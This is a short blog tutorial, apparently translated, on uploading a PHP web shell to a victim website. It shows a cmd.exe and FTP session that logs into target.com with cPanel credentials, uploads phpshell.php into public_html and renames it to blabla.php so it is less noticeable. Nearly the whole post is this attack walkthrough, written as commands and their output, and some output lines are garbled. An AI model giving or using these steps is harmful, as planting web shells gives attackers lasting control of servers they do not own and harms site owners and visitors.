Here is my view cmd.exe
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C: \ Users \ zhie0>
2. Put Files phpshell.php in C: \
C: \ Users \ zhie0> cd C: \
C: \> dir
Volume in drive C has no label.
Volume Serial Number is CO70-B35F
Directory of C: \
09/08/2011 08:32 PM 41.761 phpshell.php
3. Login to FTP sites using the login cpanel
C: \> ftp target.com
Connected to target.com
220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------
220-You are user number 1 of 50 allowed.
220-Local time is now 11:10. Server port: 21.
220-IPv6 connections are also welcome on this server.
220 You Will be disconnected after 15 minutes of inactivity.
User (target.com: (none)): UserNameTarget
331 Users UserNameTarget OK. password required
password:
230 OK. Current restricted directory is /
ftp>
4. Do not forget to move the directory
ftp> cd public_html
250 OK. Current directory is / public_html
5. Upload phpshell.php with the command
ftp> mput phpshell.php
mput phpshell.php
200 PORT Command Successful
150 Connecting to port 19 294
226-File successfully transferred [The file was successfully uploaded]
226 11 940 seconds (Measured here), 3:42 Kbytes per second
ftp:41761 bytes sent in 11.65Seconds 3.58Kbytes/sec.
ftp>
6. 226-File successfully transferred <<== mark has been uploaded
7. To Rename the file with the command
rename phpshell.php blabla.php
8. Do not forget to quit with the command
ftp> quit
221-Goodbye. You uploaded 88 and downloaded 0 kbytes.
221 Logout. Label: Tutorial
Responses
1 Respones to "How to upload PHPShell via Ftp"
I like U blog..
22 Oktober 2011 pukul 10.35
Posting Komentar